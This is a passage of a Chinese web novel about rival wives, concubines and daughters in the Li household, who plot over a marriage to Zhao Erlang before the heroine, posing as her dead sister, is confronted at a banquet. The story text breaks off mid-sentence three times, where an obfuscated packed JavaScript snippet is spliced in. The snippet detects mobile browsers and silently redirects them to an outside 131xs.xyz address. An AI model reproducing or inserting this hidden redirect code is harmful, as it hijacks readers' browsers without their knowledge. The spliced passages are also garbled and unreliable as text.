此等冷漠小人站在面前,竟还笑着偷窥自己的面色,关怀素心中大怒,却知道自己不能与他翻脸,只能冷着一张脸,做出诧异的表情看赵二郎说:“我为何要与二哥哥生气?当日郡主府上那丫鬟撞我出去跌跤,我怕说出来,反倒是显得我栽赃嫁祸,不过是一些误解而已……我心无龃龉,外人如何说,又何必放在心上呢?” 关怀素一笑,看着愣了一下的赵二郎,又行了一个礼说:“二哥哥真的不用介怀,婉玉虽没学过大道理,但是尚知道有句诗,叫‘洛阳亲友如相问,一片冰心在玉壶。’,婉玉之心天地可鉴,倒也不需要所有人都能明白。” 说完,关怀素站起来,带着柳叶往自己的小院里走了。 赵二郎愣在原地,呆呆地看着她的裙摆转了个弯,消失在转角处。 不远处躲着的小厮走出来,轻声说:“郎君,该出去了,李大人要问了。” “你说,婉玉她……”赵二郎愣愣地对小厮说,“是不是变漂亮了许多?” 小厮愣了一下,左顾右盼,生怕有李家的下人听到这句话,要知道在她们面前如此说倒是不要紧,但是问题是赵二郎他躲在人家家里这样说,不免显得轻浮油滑,因此小厮只一叠声低声说:“郎君,出去再说罢!” 赵二郎被小厮带着出去,心中一直留恋地想着方才关怀素在自己面前说话的样子。 那个平日被他夸一句就要脸通红低头的姑娘,平日若是遇到自己偷偷找过来解释,只怕当场就要感动地流下一串眼泪来。 但是今日却完全变了,那个脸红的姑娘消失了,她并不为自己的解释而开心,甚至也不再为流言困扰,她只是坦荡地说“一片冰心在玉壶”,然后就离开了。 她穿着打扮都十分寻常,也没有特地装扮。 但是依然漂亮的让人移不开眼睛。 赵二郎平日对婉蓉婉淑都很好,对李婉玉可真真也是一点也没怠慢。 因男人都看得出来,李婉玉虽不太会打扮、有些笨拙,且看得出来在家也不受宠,确实不是个联姻的好对象。 但是她却真的生的一副极好的皮囊,清艳绝伦,哪怕平素有些畏畏缩缩,美貌大打折扣,却依然还是不输给美艳的婉蓉。 赵二郎也是个年爱慕艾的年轻人,他条件好,想说亲,那满京师都是好人家。 但是他一直对李家几个姑娘很好,其一乃是因为父亲与李珺私交甚笃,二人同为王相一脉,一直互相扶持,其二乃是因为李珺身为大儒关怀远的女婿,在朝野之中的情面与一般官宦完全不同,虽目前还在从五品,但是身在吏部考功司这种关键位置,且年纪比赵二郎的父亲年轻十余岁,未来前程说不好不比赵大人差。 因为其间种种原因,所以两家早默认有联姻之意。 因此赵二郎来李家,才能被李珺郑重招待,还能进入内院,被当成半个自己人。 这件事情全家上下,只怕只有李婉玉还不知道,赵二郎自己自然是知道的清清楚楚,甚至赵二郎理智上还知道得十分清楚,以他的身份,若是正妻人选,非继室大娘子所出的婉淑不可。 李婉玉虽身份高,但是满京师谁不知道她是个上不得台面的? 至于婉蓉,虽长得漂亮,但是她到底是妾室所出,根基薄了些,论婚配,只怕只能往低处选了。 但是赵二郎心中却有些遗憾,因婉淑是李家三个女儿之中颜色最平庸的一个,虽性子、处世方面都十分通透豁达,为长辈称赞,但是赵二郎到底心中还是有些意不平。 这也是他一直对李家三个姑娘都一样殷勤的原因。 且三个姑娘都喜欢他,这对赵二郎来说也极其骄傲快活,舍不得抛切。 只是婉玉今日对他竟如此不假辞色,谈吐比婉淑甚至都看着开阔许多,气度不凡,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183299|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免让赵二郎心中有了完全不一样的新鲜感。 他心中琢磨着方才婉玉的话,一路出去了,却不晓得在不远处的框景窗里鬼鬼祟祟地钻出一个下人来,左右看了下四下无人,悄无声息地从框景窗里翻出来,一路往二门东院里去了。 而另一边的拐角屏风后头也悄悄走出来一个下人,一面往西院去了。 赵二郎还完全不知道,李家这样小的地方,与他家那种大宅后院完全不同,他自以为隐蔽,但是其实他说的每句话、甚至神态举止都已经在最快的时间被有心人得知了。 东院里,婉淑气得捏紧了帕子,在大娘子眼前掉眼泪。 孙大娘子拿剪子修剪眼前的菊花枝,任婉淑哭到主动止住眼泪,眼前的花瓶插好,才慢声问:“哭好了?” “娘!”婉淑气得眼泪又下来了,连声说,“我今日辛辛苦苦打扮,不如婉蓉就算了,到如今二哥哥竟对李婉玉那个木头疙瘩也比对我好,我还不哭,我什么时候哭啊?!” 说完,婉淑眼泪又不断地掉出来。 孙大娘子叹了口气,转身看着她,说:“淑儿,你看看我,你娘我可是靠着美色拴住了你爹的心?” 婉淑顿时不哭了,有些愣怔地看着自家阿娘,因为她非常清楚,阿娘样貌只算是非常普通,比起自己尚且还差了一些,更别提比后院的崔小娘了。 孙大娘子看着婉淑冷静下来,才点点头,温声说:“可算是能听得进去话了。” 她坐在婉淑的面前,让人都退下,两母女开始说贴心话。 孙大娘子温声说:“西院那个被她娘教的骨头没三两重,我是不担心她的。但是你那个大姐,素日我没放在眼里,这次回来却像是变了个人一般,倒是让我也有些担忧。” 婉淑听阿娘这么说,顿时立刻点头,连声说:“素日二哥哥对我们都是一样的,阿娘,我真的不是眼皮子浅的人,但是今日下人都说二哥哥神色与往日不一样,像是心里真起了心思了,娘,我担心……” “才一会儿两会儿的,出不了事。”孙大娘子倒是镇定,先安慰女儿,“别因为一点点事情就乱了方寸,到时候嫁出去怎么当家?若是遇到西院那样的,你这个性子怎么笼络夫君,怎么经营好自己的日子?万事一定不要先自乱阵脚。” 说完,看婉淑用帕子擦干净脸,孙大娘子才点头,温声说:“不错,任何时候,都要轻、慢,要胸有成竹。” 婉淑依言抬头挺胸,恢复端庄之色,只是眼睛还是红红的,还有些泪水。她恢复好仪态,吸吸鼻子,带着鼻音问孙大娘子:“阿娘,那到底怎么办啊?难道眼看着二哥哥喜欢上她?” “无需担心,你们这个年纪,是该议亲了……你姐姐这样子,也很该给她找个合适的好人家才是。”孙大娘子倒是早在婉淑哭的时候就把事情想清楚了,她笑着摸着婉淑的头,说,“把你大姐姐嫁出去,你才好开始议亲。” 婉淑瞬间就懂了阿娘的意思,眼前一亮,说:“对啊!给大姐姐找个其他人家先嫁人,二哥哥自然不会惦记啦!” 说完她开心地抱住孙大娘子,连声说:“阿娘你真好!” 孙大娘子笑着反手抱住婉淑,摸了摸她的头发,轻声说:“你放心,该是你的,谁都抢不走。” 就像她当年,其实李珺续弦选择可不少,但是最终能落在她一个借住在舅母家的县丞之女身上,靠的从来也不是美色或是拉拢男人,而是让长辈们最后觉得选她最为合适。 在此之前,只需要把其他条件更好的人排除出去就好。 她的女儿,一定能得偿所愿,且必须得偿所愿。 第二十四章 共谋 东院的婉淑与孙大娘子在说自己的打算,西院里,婉蓉听丫鬟说完,也气得把方才还在嘚瑟的缠花木芙蓉丢在地上。 崔小娘看婉蓉那样子,忍不住啐了一口,说:“你看看你那样子,在这儿发火有什么用?你要想办法让赵二郎心里有你才成!” “二哥哥本就更喜欢我一点,今日定然是贪图新鲜!”婉蓉气哼哼地嘴硬,说完又露出忧虑之色,担心地说,“阿娘,大姐姐确实漂亮,她如今还硬气起来了,又会打扮了,不会真的叫她把二哥哥的心勾去了吧?!” “那怎么的,她日后越来越会打扮,嘴巴也利索了,你便舍了你二哥哥不要可好?”崔小娘看她那个样子,恨铁不成钢地戳她的脑袋,说,“看你那没出息的样儿!” “小娘!”婉蓉不依地低声唤崔小娘,然后又说,“那还能如何啊,我总不能拴着二哥哥不许他与大姐姐说话吧?!” “你稍微看到婉玉漂亮一点点就怕了?”崔小娘听她这么说,愈发觉得她不争气,冷笑一声,说,“那当年的关大娘子何等美貌、何等气度,你若是看到,岂不是恨不得当场就自己了断了?!” 婉蓉一愣,不可置信地说:“小娘你说什么?当年关大娘子比你漂亮?不可能吧!” 不怪婉蓉不敢相信,男人都讲究娶妻娶贤、纳妾纳色,且婉蓉自己也知道,她生下来的日子与大姐只差了一个多月,算起来应当是大娘子才有孕,父亲就纳了自家小娘,按道理来说,男人能纳妾纳的那么急,为的不就是因为对正妻不满意,不够喜欢? 且自家小娘其后十几年盛宠,婉蓉是亲眼看着父亲这些年对自家小娘如何宠爱,不但院子自己做主,父亲还给了小娘庄子与小铺面,日子比一般官宦的正头娘子还风光阔绰。 婉蓉一直都觉得,这一切都是因为小娘貌美的关系,甚至她自小内心是有些看不上孙大娘子这样的主母的。 孙大娘子那样当了大娘子又如何?还不如她小娘被人疼爱好呢! 女人只要足够漂亮,得家里主君喜欢,自然钱财地位都有了,这就是婉蓉一贯的认知。 此刻听小娘说关大娘子美貌又有气度,婉蓉实在是不敢置信。 “怎么不可能,你看看你大姐姐今日的气度……我这么跟你说罢,也最多只有当日关大娘子七分风采。”崔小娘神色露出一丝微微的忌惮,似乎回忆起了当年艰难岁月,她屏退下人,才细细教导起女儿来。 “你可知当初大娘子嫁进门,我才看了一眼,回去哭了一夜?”崔小娘轻声说,言语里带着点余悸,她说,“我当初与你爹爹已经定情,你爹爹还说,他日议亲也不会忘记我,一定会在娶妻之后给我个名分。” 当年的崔妙人自恃美貌,心中觉得来个什么样的人物,她有美貌,又有和少爷青梅竹马的情谊,她一点也不曾怀疑过少爷的话一定会实现。 可是只看到关娘子的一眼,崔妙人就心中涌现出巨大的恐惧来。 她当时心中只有一个念头——少爷怕是要违背承诺了。 因为关娘子不但美貌胜过她,而且通身气度优雅高贵,嫁妆丰厚、家中得力……这样一位完美的贤妻在侧,彷如皓月当空一般。 在月亮之侧,哪怕她崔妙人颇有点姿色,可星星怎能与皓月争辉? 因此当时崔妙人是极度绝望的。 婉蓉是第一次听小娘说起当**情,她完全无法想象关娘子到底是多漂亮,才能过了十几年,还让自家养尊处优的小娘露出这副忌惮表情。 但是她仔细想一下大姐姐的脸,突然又能理解小娘的话。 大姐姐以前性子畏畏缩缩,因此好容貌也糟蹋几分,没什么派头,可是这次回来之后,仪态端方、谈吐有度,不用打扮也如拂去尘土的明珠一般,自然而然爆发出光彩来。 婉蓉想到今日家宴里,大姐姐虽简单常服,但是却不输给自己,若是真正上心装扮,只怕自己也有些担心被抢走风采。 而母亲所说的关大娘子,若是比大姐姐还好,那岂不是仙女下凡了。 “那怎么……怎么……”婉蓉听到自己呐呐地问小娘,完全不可置信。 “我当日也觉得没有出头之日了,但是偏巧我很快得知了老夫人的心事。”崔小娘轻声说起当年阴私,说,“我发现关大娘子美貌、家世都是世上一等一的,但是她这人心胸阔达……却没发现老夫人心中对她妒恨。” 婉蓉一惊。 在婉蓉心中,祖母一直是慈爱的老太太,平日里对她也极好,她完全想不到老太太居然还会妒恨自己的儿媳妇。 其实当初崔小娘也没想到,因李家能娶到三品大员唯一嫡女,又是千金陪嫁,换成平常人家只怕恨不得供着。 但是老夫人常年守着一点家业养大唯一嫡子,眼见着二人恩爱和睦,却心中越来越不顺气。 不但如此,老夫人这辈子都没见过那么多珍贵的东西,所以总爱找儿媳索要。 而关大娘子性情豁达,并不在意这些身外之物,因此大多数时候,老夫人开口都会给,但是一些名贵首饰,却因为据说许多是亡母遗物、或是关老先生当年为她出嫁时亲手打造,意义非凡,因此并不愿意。 但关娘子的壕奢供养,却并没有让老夫人满足。 相反,老夫人却胃口越来越大,后来甚至在关大娘子进门一年后查出身孕时,竟然直接要求关大娘子把所有嫁妆都给她打理。 此事实在是贪婪过度,匪夷所思,别说是关家陪房下人,哪怕是自小伺候老夫人的崔小娘,都觉得老夫人的要求离奇至极。 关娘子自然没答应,但是老夫人却怀恨在心,仗着大娘子有孕,立刻给崔小娘开了脸,做主给她提拔成了姨娘。 “关大娘子进门之后,你爹就像是忘了我一般,一年多与我从未亲近,当日誓约显然也不愿再提起……”崔小娘感慨地说,“若是你是我,当时是不是就要放弃了?” 她看着震惊的婉蓉,握着女儿的手低声说:“但是阿娘我没有放弃,我天天好好服侍老夫人,我跟老夫人说在少爷屋里又发现了什么好东西,我还跟老夫人时时说关大娘子身上穿戴到底如何珍贵……等我被提拔开脸之后,你爹担心关娘子难受,不许全家张扬,我也不在意,只慢慢用旧情拉回你爹的心,直到我肚子有了你,我才把消息传出去,而关大娘子这时候才知道了我这个人,她性子直率、爱恨分明,直接丢下一大家子,去了庄子上养胎,对你爹闭门不见不说,还写了和离书与你爹……” 她看着听着往日故事惊呆的婉蓉,温柔妩媚都褪去,眼里闪烁着寒锐精明的厉光。她握住婉蓉的手,压低声音说:“婉蓉,你长大了,你要知道,世间能做倚仗的良人本就少,就算有美貌也不够,一定要学会争!只有去争、去抢,才能过上好日子!你要做最懂他的人、最体谅他的人,然后找准让他在意的女人的破绽,伺机而动,把她们拉下来,你就赢了!” 婉蓉猛不丁听到这么多,满脑子都十分混乱,她茫然地回握住崔小娘的手,心乱如麻地问:“可是我能用什么,小娘,我不知道啊!二哥哥若是喜欢大姐姐,我总不能去给他做小吧?” 这一句话气得崔小娘差点没一巴掌拍死她! 崔小娘身上精明之气瞬间溃散,气得胸脯起伏半晌,才一巴掌拍在婉蓉的脑袋上,怒声说:“你这句话得亏是在我这里说,若是在外头说,你爹晚上都能把你掐死,免得你有辱门楣!” 说完崔小娘又指着婉蓉压低声音警告:“你若是胡说就算了,但是你若是心里但凡有一丝这样的想法,都赶紧给我收干净!听到没有?否则不等你爹,我亲手一条白绫把你勒死,也免得连累你弟弟一世不能抬头做人!” 婉蓉吓了一跳,埋怨地说:“小娘,我只是私下跟你说罢了!你这是做什么啊?!” 崔小娘这才放下心来,狠狠地看着她说:“这话能是浑说的吗!你不知道你爹那个性子,恨不得一世当个清白人物,若家里出个给人做小的女儿,他只怕连我都要赶出去!” “哎呀,小娘,是我胡说了!我就是心里担心,二哥哥若是喜欢大姐姐,那我又能怎么办不是?”婉蓉立刻上前抱着小娘撒娇,连声问,“小娘,你是不是心里头有主意了?求求小娘,你就教教我罢!” 到底是自己亲生女儿,崔妙人很快被哄好,戳了一下婉蓉的脑袋说:“你动动你的脑子,只有你怕赵二郎喜欢上你大姐姐吗?对面院子里那两个,现在只怕比我们着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183300|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急呢!” 婉蓉这才恍然大悟,但是她哼了一声,说:“二哥哥不喜欢婉淑,她们自己也知道,怎么会愿意出手?只怕巴不得大姐姐与我争呢!” “你二哥哥喜不喜欢不重要,她们就觉得自己出身好,赵家定然中意她们。”崔妙人有些鄙夷地说,“你且看着,看她们想的什么办法,我们跟着帮忙便是。” 婉蓉听小娘说得头头是道,大喜之下,立刻点头答应下来,抱着小娘的胳膊濡慕地说:“小娘你真好!我就知道还是小娘最厉害了!” 婉蓉那边被哄好,自是喜不自胜,却没发现自家小娘眼底闪过的锐利之色。 等到把婉蓉送回屋里之后,崔妙人便问:“去,打发人去问问,老夫人睡了没。” 一会子下人来回话,说老夫人还没睡,崔妙人便立刻起身,带着人自去了老夫人屋里。 到了屋里,丫鬟刚想招呼,崔妙人做了个噤声的动作,让正给老夫人捏脚的丫鬟让开,亲自上前挽起袖子,便给老夫人捏了起来。 正闭着眼睛享受的老夫人察觉到手法不一样,便睁开眼睛,一看是崔小娘,便忍不住露出了一个慈爱的笑容,说:“妙人,这些事情交给下人做便是了,何必自己劳累。” “孝顺长辈,怎能算是劳累呢?”崔妙人扬起一个笑来,一边娴熟地为老夫人捏脚,一边温声说,“再说了,我自小伺候您,谁能有我知道怎么让您舒服?” 老夫人便立刻露出受用的表情来,闭着眼睛舒服地躺下,轻声说:“确实,妙人你这手法,竟是谁都比不过。” 崔妙人便笑起来,给老夫人按了一会子,已经额上微微见了汗水。 到这个时候,老夫人才说:“好了,妙人你给我这么一按,我只觉得全身都舒畅了。” 说完下人便断水给崔妙人净手,崔妙人拿香胰子洗了手,便又过去,给老夫人慢慢地按肩颈。 这时候,崔妙人才轻声说:“老祖宗,蓉儿方才跟我在屋里哭呢。” 老夫人一听,立刻便问:“怎么了,蓉姐儿受什么委屈了?” 崔妙人便把赵二郎拦着关怀素说话的事情说了,又轻声说:“蓉儿她就是小孩子性子,只说二哥哥不喜欢她了,嗐,真真是没长大的。叫我说,还是老祖宗自小太宠她了,都快及笄的人了,还是一团孩子气,叫人好气又好笑……” 她这话说得轻描淡写,老夫人却神色冷下来,皱眉问崔小娘:“赵二郎是真对玉丫头动心思了还是?” “瞧着是有三分心思。”崔妙人垂下眼眸,叫人看不出心思,手上动作一丝也不停歇,只轻声说,“大姑娘在庄子上过了半年,如今瞧着确实长进很多,不但气色养得好,还长开了,瞧着确实漂亮,难得说话谈吐也是厉害许多。还有三月余,等到大姑娘及笄之后,只怕说婚事的人要踏破门槛了。” 老夫人便皱眉,说:“可不能叫她嫁赵家。万一给赵家人教得硬气了,没得叫她翻出许多事情来找麻烦。” “老祖宗的顾虑,妙人知道,确实不能叫大姑娘嫁到赵家,否则追究起她娘的嫁妆,再想想之前的许多事情,别到时候没成助力,反倒成了家里的仇人。”崔妙人立刻乖巧地说,而后做出苦恼之色,说:“就是上回没成事,反倒是折损了好些人,连您的陪嫁都折进去了,还折了一个庄子,实在是可惜了。” “那些不争气的。”老夫人生气地说完,而后放缓了语气,说,“妙人,你这做娘的也该支应起来,该怎么办的,自去办就是。” 崔小娘闻言,假作为难,说:“如今在家里,实在是不知如何下手。” “那也得办。”老夫人说完,放缓了语气说:“你想想蓉姐儿和文哥儿,我已经是这个岁数的人了,如今筹谋,到底是为了谁?” 崔小娘听到这里,知道再推诿就要失了老夫人的心了,便立刻点头,做出感佩之色看着老夫人说:“老祖宗疼文哥儿和蓉姐儿,妙人是知道的。世上真真是再找不到比您更慈爱的长辈了,老祖宗放心,妙人一定好好想法儿。” 老夫人等的就是这句话,闻言慈爱地拍拍崔妙人的手,温声说:“你只管放手去办,有我替你打点着呢。” 两人这便达成了一致。 第二十五章 赴宴 关怀素对各房的筹谋一概不知,她正听丁妈妈说起赵二郎的来历呢。 “姑娘,我出去与婆子们吃酒问了一圈,这赵二郎可不得了。”丁妈妈兴奋地说,“他爹是太子宾客,自个儿还是太子爷的伴读!” 太子宾客,掌太子府礼仪文书,正经的三品,这便是当今给太子安排的他日重臣之一。 这样的身世,加上样貌还算俊秀,难怪婉蓉与婉淑如此趋之若鹜。 “姑娘,这确实是个上上等的好人家。”丁妈妈都忍不住眼热,轻声说,“便是姑娘这样的身份,才算是最相配的呢。” 关怀素却看得清楚,她笑着喝茶,说:“错了,这等好人家,东院西院都要抢破头,日后咱们见了可要躲着点。” 丁妈妈疑惑不解,柳叶便把当日福宁郡主斥责大姑娘,此人视而不见的事情说了。 丁妈妈闻言,登时觉得晦气,啐了两口,又闲话几句,众人便都就寝。 素心居的人都当赵二郎这事儿便到此为止,却没想到东西两院已经有了打算。 第二天一早,关怀素去老夫人处请安,才坐下来一会儿,孙大娘子突然就说起来,说是后日赵家夫人做秋菊宴。 “家里的姑娘们也大了,得多走动一下。”孙大娘子笑着说完,又特地叮嘱关怀素:“婉玉到时候可稍微打扮鲜亮些,一个女儿家,总不好出门还如此素净。” 家里三个女儿,却独独叮嘱她,关怀素心中有些猜测,面上只落落大方地笑着行礼,答应下来。 倒是婉淑藏不住表情,关怀素分明看到了她脸上隐约的得意之色一闪而过。 关怀素心中了然,后日的这个宴会,只怕是有什么事情在等着她。 真有趣,她刚到李家,还没开始查姐姐的死因,竟就有人坐不住,想开始算计姐姐了。 这李家后宅,还真是个个都有自己的心思啊。 消停了一日,关怀素安安静静地整理了一天姐姐的书房,隔日一大早,孙大娘子就派遣了婆子来通知,让关怀素今日不必请安,只管好好准备赴宴。 “姑娘,这大娘子怎么一再叮嘱你要打扮?”丁妈妈忍不住悄声狐疑地说,“她何时这么关心姑娘了?” 关怀素看衣架上挂着的衣裙,笑着随口说出自己的猜测:“我刚及笄,如此一再叮嘱我打扮,想来不外乎是亲事。” 柳叶大急,担忧地说:“姑娘,大娘子不会想撮合你和赵二郎罢?他可配不上您!” 关怀素听她这么说,忍不住笑出声来,她看着柳叶说:“你啊,也就你们觉得赵二郎配不上我,人家心里想的是我配不上赵二郎!今日定然是看中别的人家,只想打发我出去,别挡了人家嫁高门呢!” 不得不说,若孙大娘子真是这么想,那她还真是个厉害人物。 因这计策实在是十分简单,却十分有效。 因这几年风气与先皇在时愈发不一样了。 先皇在时,女子可以与男子一起把臂同游、骑马打球,畅快逍遥,如今这些年,当今继位后愈发崇尚父为子纲、夫为妻纲,武官倒是与先皇在时差不多,但是文官一脉则风气大变,家中子女在此规矩下,自然不可自己过问自己的婚姻大事,一切得仰赖父母安排。 尤其是父亲李珺乃是崇儒的王相一脉,更是把男女大防等等人伦纲常看得极重。 如果是姐姐还在,这会子被说了亲事,自然就只能遵从父母之命,就挡不到婉蓉和婉淑的婚事了。 “什么?”柳叶顿时急了,她可是打算跟着姑娘回永年县的,而且谁要那个不怀好意的大娘子给安排的人,肯定不是什么好东西! 柳叶着急地说,“不然姑娘,我们往丑了打扮算了!这样人家看不上,自然没事儿了!” 关怀素却已经选好了裙子,她笑着摇摇头,对柳叶说,“宴会之中可不只是相看的人家,还不知道赵家夫人宴会具体邀请了多少人,随意自污可不是好事。” “那怎么办?”柳叶着急地问。 “兵来将挡水来土掩,不管家里人怎么想,我保管让她们算计成空就是。”关怀素笑了笑,轻声说。 柳叶一听,登时放心下来,她和关怀素一起长大,最知道自家姑娘的本事,既然敢这么说,姑娘定然心里有数。 放下心来,柳叶看衣服也换好,便兴致勃勃地说:“姑娘要梳什么头发?要不咱们扎个飞仙髻,好好压一压隔壁两个的风头!” 关怀素果断拒绝了柳叶想艳压群芳的要求,只让柳叶规规矩矩地梳了个元宝髻,然后戴了孙大娘子给的鎏金镶红宝石发冠。 虽然明眼人看得出来是鎏金,但是却也依旧看着明丽富贵,因打扮已经足够惹眼,关怀素就只稍微擦了点香粉,描了远山眉,又在唇上稍微点了一点口脂,就算是打扮停当了。 打扮好,便要去大娘子处,一起等着赴宴。 一去才发现好生热闹。 不光是婉蓉婉淑都在,父亲和两个弟弟也在。 关怀素一进门,众人见她难得一身鲜亮,愈发衬的娉娉婷婷,明丽动人,顿时齐齐一愣。 “大姐姐平素不太打扮,今儿看着真漂亮。”二弟辰瑜看到关怀素,居然开口夸赞起来。 关怀素知道辰瑜为何如此,因为上首婉蓉穿着紫红缎绣花裙,戴着金簪,装扮比昨日家宴还精致几分,把旁边精心装扮的婉淑压得黯淡无光。 姐姐不如庶出的二姐,辰瑜自己也被大哥辰文完全盖过风采,这正房两姐弟被小娘屋里都压了一头,表面上不说,心里定然不愉。 因此看到关怀素来了,辰瑜才立刻大力夸赞起来,倒不是真的与关怀素示好,不过是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183301|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借着东风压西风罢了。 关怀素看得分明,因此并不显得局促或是受宠若惊,只是笑着行礼之后才说:“哪里抵得上两位妹妹,一个富贵端庄、一个明艳动人呢。” 她才不要做那个中间人,夹在这两房斗气。 果然关怀素这么一夸,原本有些忌惮她的婉蓉神色一松,显然是觉得关怀素这个小马屁拍得十分舒坦,又自觉关怀素这是不敢与她争锋的意思,立刻哼了一声,得意地露出笑容。 那边婉淑本来为不如两个姐姐而不舒服,如今听到关怀素这么说,仿佛是在示弱,加上她想起来,今儿大姐姐打扮的漂亮才好,毕竟按照母亲的计划,大姐姐今儿相看得好,早点定亲,她和二哥哥的事儿才能少一个绊脚石。 想到这里,婉淑也是神色松快下来。 众人心思各异,一起笑着出门。 上了马车,关怀素自小是习惯出门的,但是婉蓉与婉淑显然十分兴奋,婉淑还端着架子,只稍稍看看,婉蓉却悄悄掀开了马车上的挡风帘,一路看个不停。 关怀素也顺着半开的帘子看京师风光,不得不说,京师繁华至极,这一路过来,哪怕冬霜已起,但是街道上行人不减,而且大多都穿着厚实,愈发显现出一片盛世气象。 车子穿过长安大街,马车缓行,小半个时辰之后,才到了赵家。 赵家房屋宽阔,假山流水、亭台楼阁俱备,院子里绿木葱葱,花朵鲜艳,关怀素在李家那屋子里大门不出二门不迈地关了几天,猛地看到这样的园子,都觉得身心一畅。 其他人显然也十分受用,纷纷带上了笑容。 今儿赏花宴是赵夫人做东,孙大娘子进门就带着家里三个女儿去给赵夫人问安。 关怀素跟着一起进了待客的正屋,一进屋就觉得浑身一暖,再一看,才不到十月,这屋里居然就烧了炭盆。 满屋子的女眷,都脱了披风,笑意盈盈地坐在屋里,正与赵夫人说话。 关怀素还以为这是个小聚会,没想到这个聚会竟如此大排场,她眼看身边孙大娘子也有些惊讶的样子,知道孙大娘子也事前不知。 但是关怀素很快就知道为何了,因她看到赵夫人坐在陪客位置,上首却坐着一个笑意盈盈的姑娘,看着尖脸桃花眼,长得颇为漂亮,主要是一身衣衫璀璨富贵,竟然是一身霞光灿烂的蜀锦裙与团绣百花图案红大袖,头上是赤**冠。 一寸蜀锦一寸金,这姑娘看着年轻,但是如此打扮、满屋子女眷她能坐在上首,关怀素瞬间明白这姑娘绝对不是普通人。 “李家姐姐,上次一别,半年未见了。”那姑娘看到关怀素,露出了一个笑容来,当先开口,“怎么,姐姐见到我了都不打招呼?” 关怀素倒是想打招呼,但是她不是姐姐李婉玉,她根本不认识面前的姑娘啊! 第二十六章 诘问 关怀素不认识人,却也不着急,只学着姐姐的神态,微微有些瑟缩地低头,果然孙大娘子怕她出丑,立刻上前一步请安:“福宁郡主安康,见过郡主。” 关怀素瞬间就明白了眼前这个姑娘的身份,也立刻跟着蹲身行礼问安。 只是两人请安完毕,福宁郡主却一直不叫起。 关怀素身强体健,一点也不怕,只一直稳稳地保持行礼的姿势,连衣角都不曾挪动半分。 听着茶盏的声音,关怀素知道福宁郡主故意借着喝茶在给她下马威,只是她不明白,福宁郡主为什么会对姐姐有如此大的敌意。 两人身份差距太大不说,关怀素知道姐姐的性格,能被丫鬟下人欺负的人,怎么敢得罪高高在上的福宁郡主? 可是福宁郡主今儿如此表现,明明就是在拿捏姐姐,二人身份云泥之别,为何福宁郡主会对姐姐有敌意? 难道就因为姐姐在她的宴会上跌在太子面前,让她觉得姐姐在自己的宴会上耍心机,于是记恨了? 可是这不合理。 先不说姐姐跌倒在太子面前是意外,就说哪怕是真的想攀附太子,那上一次已经当众让姐姐丢人,又在庄子上差点丢了性命,这惩罚已经非常严厉,郡主无论如何也该消气了。 可看福宁郡主今日的样子,却似乎到今日还在记恨。 这实在是太过离奇,关怀素不明白,不过她气度悠闲,行礼姿势一动不动,心中琢磨,面上却神色坦荡,早已经让在座的各位夫人都微微露出惊讶之色。 要知道行礼虽简单,但是福宁郡主慢吞吞地拨茶盏再喝茶的功夫,已经足够让人觉得身体酸麻了,起码旁边一贯被人称赞礼仪好的孙大娘子都已经露出了微微的疲累之色。 尤其是礼仪学得最敷衍的婉蓉,到这个时候,已经微微有些颤抖。 “哎呀,怎么不起来?”福宁郡主见此,大约是发现了今儿继续下去,估计看不到关怀素出丑,倒是要看到李婉蓉出丑了,因此她喝完茶,放下茶盏之后,做出一幅惊愕之色,说,“怎么如此客气,不知道还以为本郡主在刁难你们。” 这话孙大娘子和关怀素她们都不敢接,旁边倒是有知机的妇人笑了笑,说了几句俏皮话,让气氛稍微轻松了一些。 本来一片和乐,但是福宁郡主却偏偏不肯放过关怀素,看着行礼完打算离开的关怀素突然又说:“李家姐姐,这次走路可小心点,太子哥哥一会儿也会来花园,你可别又不小心摔在太子哥哥的脚下。” 这话说得皮笑肉不笑的,关怀素心中一凛,立刻知道绝不能忍下此事! 今日宴会盛大,京师里有头脸的官眷都在这里,此时正是洗去姐姐攀龙附凤之心的最好时机! 且对福宁郡主对姐姐如此赶尽杀绝,关怀素也怒气上涌。 关怀素冷下脸,站直身子,猛地直视福宁郡主,高声问:“郡主此言何意?请恕婉玉之罪,婉玉没听明白郡主的意思。” 福宁郡主一愣,她没想到一贯懦弱和自己说话都会发抖的李婉玉,居然敢如此大胆对她发问。 福宁郡主内心升起恼怒之意,看着关怀素,冷笑一声说:“我说的是什么意思,李婉玉你不明白?也罢,我今日就说清楚,不管你是什么心思,我都劝你歇了,太子哥哥可不是你能肖想的!” “郡主为何会误认为我肖想太子?”关怀素听完,并不羞耻,在满座震惊之中挺直腰杆,只脸上微微诧异地问,“难道郡主认为,当日我在郡主家中跌倒,竟然是故意的?” 福宁郡主不说话,只满脸怒意,一脸“难道不是如此?”的意思。 